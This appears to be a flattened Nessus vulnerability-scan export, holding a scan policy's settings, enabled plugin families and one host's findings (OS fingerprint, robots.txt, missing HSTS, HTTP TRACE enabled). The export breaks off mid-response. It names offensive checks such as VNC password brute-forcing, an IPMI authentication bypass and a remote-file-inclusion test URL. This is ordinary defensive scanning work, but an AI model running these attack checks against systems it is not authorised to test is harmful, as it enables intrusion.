+1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #1 : +SCAP Data Stream ID (1.2 only) #1 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #1 : +SCAP Benchmark ID #1 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Profile ID #1 : +SCAP Profile ID #1 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:OVAL Result Type #1 : +OVAL Result Type #1 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[file]:SCAP File (zip) #2 : +SCAP File (zip) #2 : +file + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:SCAP Version #2 : +SCAP Version #2 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #2 : +SCAP Data Stream ID (1.2 only) #2 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #2 : +SCAP Benchmark ID #2 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Profile ID #2 : +SCAP Profile ID #2 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:OVAL Result Type #2 : +OVAL Result Type #2 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[file]:SCAP File (zip) #3 : +SCAP File (zip) #3 : +file + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:SCAP Version #3 : +SCAP Version #3 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #3 : +SCAP Data Stream ID (1.2 only) #3 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #3 : +SCAP Benchmark ID #3 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Profile ID #3 : +SCAP Profile ID #3 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:OVAL Result Type #3 : +OVAL Result Type #3 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[file]:SCAP File (zip) #4 : +SCAP File (zip) #4 : +file + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:SCAP Version #4 : +SCAP Version #4 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #4 : +SCAP Data Stream ID (1.2 only) #4 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #4 : +SCAP Benchmark ID #4 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Profile ID #4 : +SCAP Profile ID #4 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:OVAL Result Type #4 : +OVAL Result Type #4 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[file]:SCAP File (zip) #5 : +SCAP File (zip) #5 : +file + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:SCAP Version #5 : +SCAP Version #5 : +radio +1.2;1.1;1.0 +1.2;1.1;1.0 + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Data Stream ID (1.2 only) #5 : +SCAP Data Stream ID (1.2 only) #5 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Benchmark ID #5 : +SCAP Benchmark ID #5 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[entry]:SCAP Profile ID #5 : +SCAP Profile ID #5 : +entry + + + +SCAP Windows Compliance Checks +66756 +SCAP Windows Compliance Checks[radio]:OVAL Result Type #5 : +OVAL Result Type #5 : +radio +Full results w/ system characteristics;Full results w/o system characteristics;Thin results +Full results w/ system characteristics;Full results w/o system characteristics;Thin results + +Patch Management: SCCM Server Settings +57029 +Patch Management: SCCM Server Settings[entry]:SCCM Server : +SCCM Server : +entry + + + +Patch Management: SCCM Server Settings +57029 +Patch Management: SCCM Server Settings[entry]:SCCM Domain : +SCCM Domain : +entry + + + +Patch Management: SCCM Server Settings +57029 +Patch Management: SCCM Server Settings[entry]:SCCM Username : +SCCM Username : +entry + + + +Patch Management: SCCM Server Settings +57029 +Patch Management: SCCM Server Settings[password]:SCCM Password : +SCCM Password : +password + + + +SMB Scope +10917 +SMB Scope[checkbox]:Request information about the domain +Request information about the domain +checkbox +yes +yes + +SMB Use Host SID to Enumerate Local Users +10860 +SMB Use Host SID to Enumerate Local Users[entry]:Start UID : +Start UID : +entry +1000 +1000 + +SMB Use Host SID to Enumerate Local Users +10860 +SMB Use Host SID to Enumerate Local Users[entry]:End UID : +End UID : +entry +1200 +1200 + +SMB Use Domain SID to Enumerate Users +10399 +SMB Use Domain SID to Enumerate Users[entry]:Start UID : +Start UID : +entry +1000 +1000 + +SMB Use Domain SID to Enumerate Users +10399 +SMB Use Domain SID to Enumerate Users[entry]:End UID : +End UID : +entry +1200 +1200 + +SMTP settings +11038 +SMTP settings[entry]:Third party domain : +Third party domain : +entry +example.edu +example.com + +SMTP settings +11038 +SMTP settings[entry]:From address : +From address : +entry +nobody@example.edu +nobody@example.com + +SMTP settings +11038 +SMTP settings[entry]:To address : +To address : +entry +postmaster@[AUTO_REPLACED_IP] +postmaster@[AUTO_REPLACED_IP] + +SNMP settings +19762 +SNMP settings[entry]:Community name : +Community name : +entry +public +public + +SNMP settings +19762 +SNMP settings[entry]:Community name (1) : +Community name (1) : +entry + + + +SNMP settings +19762 +SNMP settings[entry]:Community name (2) : +Community name (2) : +entry + + + +SNMP settings +19762 +SNMP settings[entry]:Community name (3) : +Community name (3) : +entry + + + +SNMP settings +19762 +SNMP settings[entry]:UDP port : +UDP port : +entry +161 +161 + +SNMP settings +19762 +SNMP settings[entry]:Additional UDP port (1) : +Additional UDP port (1) : +entry + +161 + +SNMP settings +19762 +SNMP settings[entry]:Additional UDP port (2) : +Additional UDP port (2) : +entry + +161 + +SNMP settings +19762 +SNMP settings[entry]:Additional UDP port (3) : +Additional UDP port (3) : +entry + +161 + +SNMP settings +19762 +SNMP settings[entry]:SNMPv3 user name : +SNMPv3 user name : +entry + + + +SNMP settings +19762 +SNMP settings[password]:SNMPv3 authentication password : +SNMPv3 authentication password : +password + + + +SNMP settings +19762 +SNMP settings[radio]:SNMPv3 authentication algorithm : +SNMPv3 authentication algorithm : +radio +MD5;SHA1 +MD5;SHA1 + +SNMP settings +19762 +SNMP settings[password]:SNMPv3 privacy password : +SNMPv3 privacy password : +password + + + +SNMP settings +19762 +SNMP settings[radio]:SNMPv3 privacy algorithm : +SNMPv3 privacy algorithm : +radio +AES;DES +AES;DES + +SonicWALL SonicOS Compliance Checks +71955 +SonicWALL SonicOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +SonicWALL SonicOS Compliance Checks +71955 +SonicWALL SonicOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +SonicWALL SonicOS Compliance Checks +71955 +SonicWALL SonicOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +SonicWALL SonicOS Compliance Checks +71955 +SonicWALL SonicOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +SonicWALL SonicOS Compliance Checks +71955 +SonicWALL SonicOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +SonicWALL SonicOS Compliance Checks +71955 +SonicWALL SonicOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +SSH settings +14273 +SSH settings[entry]:SSH user name : +SSH user name : +entry +root +root + +SSH settings +14273 +SSH settings[password]:SSH password (unsafe!) : +SSH password (unsafe!) : +password + + + +SSH settings +14273 +SSH settings[file]:SSH public key to use : +SSH public key to use : +file + + + +SSH settings +14273 +SSH settings[file]:SSH private key to use : +SSH private key to use : +file + + + +SSH settings +14273 +SSH settings[password]:Passphrase for SSH key : +Passphrase for SSH key : +password + + + +SSH settings +14273 +SSH settings[radio]:Elevate privileges with : +Elevate privileges with : +radio +Nothing;sudo;su;su+sudo;dzdo;pbrun;Cisco 'enable' +Nothing;sudo;su;su+sudo;dzdo;pbrun;Cisco 'enable' + +SSH settings +14273 +SSH settings[entry]:Privilege elevation binary path (directory) : +Privilege elevation binary path (directory) : +entry + + + +SSH settings +14273 +SSH settings[entry]:su login : +su login : +entry + + + +SSH settings +14273 +SSH settings[entry]:Escalation account : +Escalation account : +entry +root +root + +SSH settings +14273 +SSH settings[password]:Escalation password : +Escalation password : +password + + + +SSH settings +14273 +SSH settings[file]:SSH known_hosts file : +SSH known_hosts file : +file + + + +SSH settings +14273 +SSH settings[entry]:Preferred SSH port : +Preferred SSH port : +entry +22 +22 + +SSH settings +14273 +SSH settings[entry]:Client version : +Client version : +entry +OpenSSH_5.0 +OpenSSH_5.0 + +SSH settings +14273 +SSH settings[entry]:Additional SSH user name (1) : +Additional SSH user name (1) : +entry + + + +SSH settings +14273 +SSH settings[password]:Additional SSH password (1) : +Additional SSH password (1) : +password + + + +SSH settings +14273 +SSH settings[entry]:Additional SSH user name (2) : +Additional SSH user name (2) : +entry + + + +SSH settings +14273 +SSH settings[password]:Additional SSH password (2) : +Additional SSH password (2) : +password + + + +SSH settings +14273 +SSH settings[entry]:Additional SSH user name (3) : +Additional SSH user name (3) : +entry + + + +SSH settings +14273 +SSH settings[password]:Additional SSH password (3) : +Additional SSH password (3) : +password + + + +SSH settings +14273 +SSH settings[entry]:Additional SSH user name (4) : +Additional SSH user name (4) : +entry + + + +SSH settings +14273 +SSH settings[password]:Additional SSH password (4) : +Additional SSH password (4) : +password + + + +SSH settings +14273 +SSH settings[entry]:Additional SSH user name (5) : +Additional SSH user name (5) : +entry + + + +SSH settings +14273 +SSH settings[password]:Additional SSH password (5) : +Additional SSH password (5) : +password + + + +SSL Certificate Expiry +15901 +SSL Certificate Expiry[entry]:Identify certificates that expire within x days +Identify certificates that expire within x days +entry +60 +60 + +SMB Registry : Start the Registry Service during the scan +35703 +SMB Registry : Start the Registry Service during the scan[checkbox]:Start the registry service during the scan +Start the registry service during the scan +checkbox +no +no + +SMB Registry : Start the Registry Service during the scan +35703 +SMB Registry : Start the Registry Service during the scan[checkbox]:Enable administrative shares during the scan +Enable administrative shares during the scan +checkbox +no +no + +Patch Management: Symantec Altiris Settings +78013 +Patch Management: Symantec Altiris Settings[entry]:Symantec Altiris Database Server : +Symantec Altiris Database Server : +entry + + + +Patch Management: Symantec Altiris Settings +78013 +Patch Management: Symantec Altiris Settings[entry]:Symantec Altiris Database Port : +Symantec Altiris Database Port : +entry +5690 +5690 + +Patch Management: Symantec Altiris Settings +78013 +Patch Management: Symantec Altiris Settings[entry]:Symantec Altiris Database Name : +Symantec Altiris Database Name : +entry +Symantec_CMDB +Symantec_CMDB + +Patch Management: Symantec Altiris Settings +78013 +Patch Management: Symantec Altiris Settings[checkbox]:Symantec Altiris Use Windows Credentials : +Symantec Altiris Use Windows Credentials : +checkbox +no +no + +Patch Management: Symantec Altiris Settings +78013 +Patch Management: Symantec Altiris Settings[entry]:Symantec Altiris Database Username : +Symantec Altiris Database Username : +entry + + + +Patch Management: Symantec Altiris Settings +78013 +Patch Management: Symantec Altiris Settings[password]:Symantec Altiris Database Password : +Symantec Altiris Database Password : +password + + + +Unix Compliance Checks +21157 +Unix Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Unix Compliance Checks +21157 +Unix Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Unix Compliance Checks +21157 +Unix Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Unix Compliance Checks +21157 +Unix Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Unix Compliance Checks +21157 +Unix Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Unix File Contents Compliance Checks +72095 +Unix File Contents Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Unix File Contents Compliance Checks +72095 +Unix File Contents Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Unix File Contents Compliance Checks +72095 +Unix File Contents Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Unix File Contents Compliance Checks +72095 +Unix File Contents Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Unix File Contents Compliance Checks +72095 +Unix File Contents Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +VMware vCenter/vSphere Compliance Checks +64455 +VMware vCenter/vSphere Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +VMware vCenter/vSphere Compliance Checks +64455 +VMware vCenter/vSphere Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +VMware vCenter/vSphere Compliance Checks +64455 +VMware vCenter/vSphere Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +VMware vCenter/vSphere Compliance Checks +64455 +VMware vCenter/vSphere Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +VMware vCenter/vSphere Compliance Checks +64455 +VMware vCenter/vSphere Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +VMware SOAP API Settings +57395 +VMware SOAP API Settings[entry]:VMware user name : +VMware user name : +entry + + + +VMware SOAP API Settings +57395 +VMware SOAP API Settings[password]:VMware password : +VMware password : +password + + + +VMware SOAP API Settings +57395 +VMware SOAP API Settings[checkbox]:Ignore SSL Certificate : +Ignore SSL Certificate : +checkbox +no +no + +VMware vCenter SOAP API Settings +63060 +VMware vCenter SOAP API Settings[entry]:VMware vCenter host : +VMware vCenter host : +entry + + + +VMware vCenter SOAP API Settings +63060 +VMware vCenter SOAP API Settings[entry]:VMware vCenter port : +VMware vCenter port : +entry +443 +443 + +VMware vCenter SOAP API Settings +63060 +VMware vCenter SOAP API Settings[entry]:VMware vCenter user name : +VMware vCenter user name : +entry + + + +VMware vCenter SOAP API Settings +63060 +VMware vCenter SOAP API Settings[password]:VMware vCenter password : +VMware vCenter password : +password + + + +VMware vCenter SOAP API Settings +63060 +VMware vCenter SOAP API Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +VMware vCenter SOAP API Settings +63060 +VMware vCenter SOAP API Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + +Web Application Tests Settings +39471 +Web Application Tests Settings[checkbox]:Enable web applications tests +Enable web applications tests +checkbox +no +no + +Web Application Tests Settings +39471 +Web Application Tests Settings[entry]:Maximum run time (min) : +Maximum run time (min) : +entry +60 +5 + +Web Application Tests Settings +39471 +Web Application Tests Settings[checkbox]:Try all HTTP methods +Try all HTTP methods +checkbox +no +no + +Web Application Tests Settings +39471 +Web Application Tests Settings[radio]:Combinations of arguments values +Combinations of arguments values +radio +one value;some pairs;all pairs (slower but efficient);some combinations;all combinations (extremely slow) +some pairs + +Web Application Tests Settings +39471 +Web Application Tests Settings[checkbox]:HTTP Parameter Pollution +HTTP Parameter Pollution +checkbox +no +yes + +Web Application Tests Settings +39471 +Web Application Tests Settings[radio]:Stop at first flaw +Stop at first flaw +radio +per CGI;per port (quicker);per parameter (slow);look for all flaws (slower) +per CGI + +Web Application Tests Settings +39471 +Web Application Tests Settings[checkbox]:Test embedded web servers +Test embedded web servers +checkbox +no +no + +Web Application Tests Settings +39471 +Web Application Tests Settings[entry]:URL for Remote File Inclusion : +URL for Remote File Inclusion : +entry +http://rfi.nessus.org/rfi.txt +http://rfi.nessus.org/rfi.txt + +Web mirroring +10662 +Web mirroring[entry]:Number of pages to mirror : +Number of pages to mirror : +entry +1000 +1000 + +Web mirroring +10662 +Web mirroring[entry]:Maximum depth : +Maximum depth : +entry +6 +6 + +Web mirroring +10662 +Web mirroring[entry]:Start page : +Start page : +entry +/ +/ + +Web mirroring +10662 +Web mirroring[entry]:Excluded items regex : +Excluded items regex : +entry +/server_privileges\.php|logout +/server_privileges\.php|logout + +Web mirroring +10662 +Web mirroring[checkbox]:Follow dynamic pages : +Follow dynamic pages : +checkbox +no +no + +Wake-on-LAN +52616 +Wake-on-LAN[file]:List of MAC addresses for Wake-on-LAN: +List of MAC addresses for Wake-on-LAN: +file + + + +Wake-on-LAN +52616 +Wake-on-LAN[entry]:Time to wait (in minutes) for the systems to boot: +Time to wait (in minutes) for the systems to boot: +entry +5 +5 + +Malicious Process Detection +59275 +Malicious Process Detection[file]:Additional MD5 hashes (optional) : +Additional MD5 hashes (optional) : +file + + + +Malicious Process Detection +59275 +Malicious Process Detection[file]:Known good MD5 hashes (optional) : +Known good MD5 hashes (optional) : +file + + + +Malicious Process Detection +59275 +Malicious Process Detection[file]:Yara rules file : +Yara rules file : +file + + + +Malicious Process Detection +59275 +Malicious Process Detection[checkbox]:disable_dns_resolution +disable_dns_resolution +checkbox +no +no + +Malicious Process Detection +59275 +Malicious Process Detection[checkbox]:enable_malware_scanning +enable_malware_scanning +checkbox +no +no + +Patch Management: WSUS Server Settings +57031 +Patch Management: WSUS Server Settings[entry]:WSUS Server : +WSUS Server : +entry + + + +Patch Management: WSUS Server Settings +57031 +Patch Management: WSUS Server Settings[entry]:WSUS Port : +WSUS Port : +entry + + + +Patch Management: WSUS Server Settings +57031 +Patch Management: WSUS Server Settings[entry]:WSUS Username : +WSUS Username : +entry + + + +Patch Management: WSUS Server Settings +57031 +Patch Management: WSUS Server Settings[password]:WSUS Password : +WSUS Password : +password + + + +Patch Management: WSUS Server Settings +57031 +Patch Management: WSUS Server Settings[checkbox]:SSL : +SSL : +checkbox +no +no + +Patch Management: WSUS Server Settings +57031 +Patch Management: WSUS Server Settings[checkbox]:Verify SSL Certificate : +Verify SSL Certificate : +checkbox +no +no + + + +MacOS X Local Security Checks +disabled + +Offsec Plugins Disabled +mixed + +F5 Networks Local Security Checks +disabled + +Solaris Local Security Checks +disabled + +Port scanners +mixed + +Mandriva Local Security Checks +disabled + +Debian Local Security Checks +disabled + +Denial of Service +disabled + +HP-UX Local Security Checks +disabled + +Palo Alto Local Security Checks +disabled + +VMware ESX Local Security Checks +disabled + +Oracle Linux Local Security Checks +disabled + +Red Hat Local Security Checks +disabled + +FreeBSD Local Security Checks +disabled + +Amazon Linux Local Security Checks +disabled + +Slackware Local Security Checks +disabled + +Huawei Local Security Checks +disabled + +Gentoo Local Security Checks +disabled + +Fedora Local Security Checks +disabled + +Ubuntu Local Security Checks +disabled + +Virtuozzo Local Security Checks +disabled + +Junos Local Security Checks +disabled + +SuSE Local Security Checks +disabled + +Policy Compliance +disabled + +OracleVM Local Security Checks +disabled + +CentOS Local Security Checks +disabled + +AIX Local Security Checks +disabled + +Scientific Linux Local Security Checks +disabled + +Default Unix Accounts +enabled + +General +enabled + +RPC +enabled + +Settings +enabled + +Mobile Devices +enabled + +Windows : User management +enabled + +CISCO +enabled + +Firewalls +enabled + +Service detection +enabled + +Netware +enabled + +Gain a shell remotely +enabled + +Misc. +enabled + +Databases +enabled + +SMTP problems +enabled + +Windows : Microsoft Bulletins +enabled + +SCADA +enabled + +CGI abuses +enabled + +Offsec Plugins +enabled + +FTP +enabled + +SNMP +enabled + +Incident Response +enabled + +Windows +enabled + +DNS +enabled + +Peer-To-Peer File Sharing +enabled + +Backdoors +enabled + +Web Servers +enabled + +CGI abuses : XSS +enabled + + +200015 +WebSphere Detection - Java Unserialize RCE +Offsec Plugins Disabled +enabled + +34220 +Netstat Portscanner (WMI) +Port scanners +enabled + +14274 +Nessus SNMP Scanner +Port scanners +enabled + +14272 +Netstat Portscanner (SSH) +Port scanners +enabled + +100171 +Oracle Linux 6 / 7 : ghostscript (ELSA-2017-1230) +Oracle Linux Local Security Checks +enabled + +34277 +Nessus UDP Scanner +Port scanners +disabled + +10180 +Ping the remote host +Port scanners +enabled + +10335 +Nessus TCP scanner +Port scanners +disabled + +11219 +Nessus SYN scanner +Port scanners +enabled + +200010 +VNC password bruteforce +Offsec Plugins Disabled +disabled + +1337006 +IPMI 2.0 RAKP Cipher Zero Authentication Bypass with Privileged Level (auxiliary/scanner/ipmi/ipmi_cipher_zero_privileged) +Offsec Plugins Disabled +disabled + + + + + +Fri Jan 12 15:15:40 2018 +1515766540 +false +DASPI +6 +cpe:/o:linux:linux_kernel +linux +cpe:/o:linux:linux_kernel:2.6 +general-purpose +Linux Kernel 2.6 +145.253.152.108 +? +12.34.14.1 +145.253.152.108 +www.example.org +Fri Jan 12 15:09:19 2018 + + +all +This plugin displays, for each tested host, information about the scan itself : + + - The version of the plugin set. + - The type of scanner (Nessus or Nessus Home). + - The version of the Nessus Engine. + - The port scanner(s) used. + - The port range scanned. + - Whether credentialed or third-party patch management checks are possible. + - The date of the scan. + - The duration of the scan. + - The number of hosts scanned in parallel. + - The number of checks done in parallel. +scan_info.nasl +2017/10/26 +Nessus Scan Information +2005/08/26 +summary +None +$Revision: 1.90 $ +n/a +This plugin displays information about the Nessus scan. +Information about this scan : + +Nessus version : 6.3.7 (Nessus 6.10.5 is available.) + +Plugin feed version : 201712062015 +Scanner edition used : Nessus + +ERROR: Your plugins have not been updated since 2017/12/6 +Performing a scan with an older plugin set will yield out-of-date results and +produce an incomplete audit. Please run nessus-update-plugins to get the +newest vulnerability checks from Nessus.org. + +Scan type : Normal +Scan policy used : DASPI +Scanner IP : 12.34.14.16 +Port scanner(s) : nessus_syn_scanner +Port range : default +Thorough tests : no +Experimental tests : no +Paranoia level : 1 +Report verbosity : 1 +Safe checks : yes +Optimize the test : yes +Credentialed checks : no +Patch management checks : None +CGI scanning : disabled +Web application tests : disabled +Max hosts : 100 +Max checks : 5 +Recv timeout : 5 +Backports : None +Allow post-scan editing: Yes +Scan Start Date : 2018/1/12 15:09 CET +Scan duration : 356 sec + + + +all +By using information obtained from a Nessus scan, this plugin reports CPE (Common Platform Enumeration) matches for various hardware and software products found on a host. + +Note that if an official CPE is not available for the product, this plugin computes the best possible CPE based on the information available from the scan. +cpe.nbin +2017/06/06 +Common Platform Enumeration (CPE) +2010/04/21 +local +None +$Revision: 1.70$ +http://cpe.mitre.org/ +https://nvd.nist.gov/products/cpe +n/a +It was possible to enumerate CPE names that matched on the remote system. + +The remote operating system matched the following CPE : + + cpe:/o:linux:linux_kernel:2.6 + + + +Based on the remote operating system, it is possible to determine what the remote system type is (eg: a printer, router, general-purpose computer, etc). +device_type.nasl +2011/05/23 +Device Type +2011/05/23 +combined +None +$Revision: 1.1 $ +n/a +It is possible to guess the remote device type. +Remote device type : general-purpose +Confidence level : 65 + + + +all +Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP, SNMP, etc.), it is possible to guess the name of the remote operating system in use. It is also possible sometimes to guess the version of the operating system. +os_fingerprint.nasl +2017/08/29 +OS Identification +2003/12/09 +combined +None +$Revision: 2.43 $ +n/a +It is possible to guess the remote operating system. + +Remote operating system : Linux Kernel 2.6 +Confidence level : 65 +Method : SinFP + + +The remote host is running Linux Kernel 2.6 + + +The remote host contains a file named 'robots.txt' that is intended to prevent web 'robots' from visiting certain directories in a website for maintenance or indexing purposes. A malicious user may also be able to use the contents of this file to learn of sensitive documents or directories on the affected site and either retrieve them directly or target them for other attacks. +webserver_robot.nasl +238 +2014/05/09 +Web Server robots.txt Information Disclosure +1999/10/12 +remote +None +$Revision: 1.39 $ +http://www.robotstxt.org/wc/exclusion.html +Review the contents of the site's robots.txt file, use Robots META tags instead of entries in the robots.txt file, and/or adjust the web server's access controls to limit access to sensitive material. +The remote web server contains a 'robots.txt' file. +OSVDB:238 +Contents of robots.txt : + +User-agent: * +Disallow: /de/error/404/ +Sitemap: https://www.example.org/de/sitemap.xml +Sitemap: https://www.example.org/en/sitemap.xml + + +The remote HTTPS server is not enforcing HTTP Strict Transport Security (HSTS). The lack of HSTS allows downgrade attacks, SSL-stripping man-in-the-middle attacks, and weakens cookie-hijacking protections. +hsts_missing_on_https_server.nasl +2015/07/02 +HSTS Missing From HTTPS Server +2015/07/02 +remote +None +$Revision: 1.1 $ +https://tools.ietf.org/html/rfc6797 +Configure the remote web server to use HSTS. +The remote web server is not enforcing HSTS. + + The remote HTTPS server does not send the HTTP + "Strict-Transport-Security" header. + + + +This test gives some information about the remote HTTP protocol - the version used, whether HTTP Keep-Alive and HTTP pipelining are enabled, etc... + +This test is informational only and does not denote any security problem. +http_info.nasl +2017/11/13 +HyperText Transfer Protocol (HTTP) Information +2007/01/30 +remote +None +$Revision: 1.13 $ +n/a +Some information about the remote HTTP configuration can be extracted. + +Response Code : HTTP/1.1 404 Not Found + +Protocol version : HTTP/1.1 +SSL : no +Keep-Alive : no +Options allowed : GET, HEAD, POST, PUT, DELETE, OPTIONS +Headers : + + Server: Apache-Coyote/1.1 + Content-Length: 0 + Date: Fri, 12 Jan 2018 14:14:35 GMT + Connection: close + +Response Body : + + + + +This test gives some information about the remote HTTP protocol - the version used, whether HTTP Keep-Alive and HTTP pipelining are enabled, etc... + +This test is informational only and does not denote any security problem. +http_info.nasl +2017/11/13 +HyperText Transfer Protocol (HTTP) Information +2007/01/30 +remote +None +$Revision: 1.13 $ +n/a +Some information about the remote HTTP configuration can be extracted. + +Response Code : HTTP/1.1 302 Found + +Protocol version : HTTP/1.1 +SSL : yes +Keep-Alive : yes +Options allowed : (Not implemented) +Headers : + + Date: Fri, 12 Jan 2018 14:14:36 GMT + Server: Apache + Location: https://www.example.org/de/ + Content-Length: 215 + Keep-Alive: timeout=15, max=100 + Connection: Keep-Alive + Content-Type: text/html; charset=iso-8859-1 + +Response Body : + +<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> +<html><head> +<title>302 Found</title> +</head><body> +<h1>Found</h1> +<p>The document has moved <a href="https://www.example.org/de/">here</a>.</p> +</body></html> + + + +This test gives some information about the remote HTTP protocol - the version used, whether HTTP Keep-Alive and HTTP pipelining are enabled, etc... + +This test is informational only and does not denote any security problem. +http_info.nasl +2017/11/13 +HyperText Transfer Protocol (HTTP) Information +2007/01/30 +remote +None +$Revision: 1.13 $ +n/a +Some information about the remote HTTP configuration can be extracted. + +Response Code : HTTP/1.1 301 Moved Permanently + +Protocol version : HTTP/1.1 +SSL : no +Keep-Alive : yes +Options allowed : (Not implemented) +Headers : + + Date: Fri, 12 Jan 2018 14:14:36 GMT + Server: Apache + Location: https://www.example.org/ + Content-Length: 236 + Keep-Alive: timeout=15, max=100 + Connection: Keep-Alive + Content-Type: text/html; charset=iso-8859-1 + +Response Body : + +<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> +<html><head> +<title>301 Moved Permanently</title> +</head><body> +<h1>Moved Permanently</h1> +<p>The document has moved <a href="https://www.example.org/">here</a>.</p> +</body></html> + + + +9506 +9561 +11604 +33374 +37995 +288308 +867593 +CVE-2003-1567 +CVE-2004-2320 +CVE-2010-0386 +5.0 +4.3 +CVSS2#E:H/RL:OF/RC:C +CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N +16 +200 +The remote web server supports the TRACE and/or TRACK methods. TRACE and TRACK are HTTP methods that are used to debug web server connections. +true +No exploit is required +xst_http_trace.nasl +877 +3726 +5648 +11408 +50485 +2016/11/23 +HTTP TRACE / TRACK Methods Allowed +2003/01/23 +remote +Medium +$Revision: 1.65 $ +http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf +http://www.apacheweek.com/issues/03-01-24 +http://download.oracle.com/sunalerts/1000718.1.html +Disable these methods. Refer to the plugin output for more information. +Debugging functions are enabled on the remote web server. +2003/01/20 +OSVDB:877 +OSVDB:3726 +OSVDB:5648 +OSVDB:11408 +OSVDB:50485 +CERT:288308 +CERT:867593 +CWE:16 +CWE:200 + +To disable these methods, add the following lines for each virtual +host in your configuration file : + + RewriteEngine on + RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK) + RewriteRule .* - [F] + +Alternatively, note that Apache versions 1.3.34, 2.0.55, and 2.2 +support disabling the TRACE method natively via the 'TraceEnable' +directive. + +Nessus sent the following TRACE request : + +------------------------------ snip ------------------------------ +TRACE /Nessus1152082554.html HTTP/1.1 +Connection: Close +Host: www.example.org +Pragma: no-cache +User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0) +Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */* +Accept-Language: en +Accept-Charset: iso-8859-1,*,utf-8 + +------------------------------ snip ------------------------------ + +and received the following response from the remote server : + +------------------------------ snip ------------------------------ +HTTP/1.1 200 OK +Date: Fri, 12 Jan 2018 14:14:25 GMT +Server: Apache +Keep-Alive: timeout=15, max=100 +Connection: Keep-Alive +Transfer-Encoding: chunked +Content-Type: message/http + + +TRACE /Nessus1152082554.html HTTP/1.1 +Connection: Keep-Alive +Host: 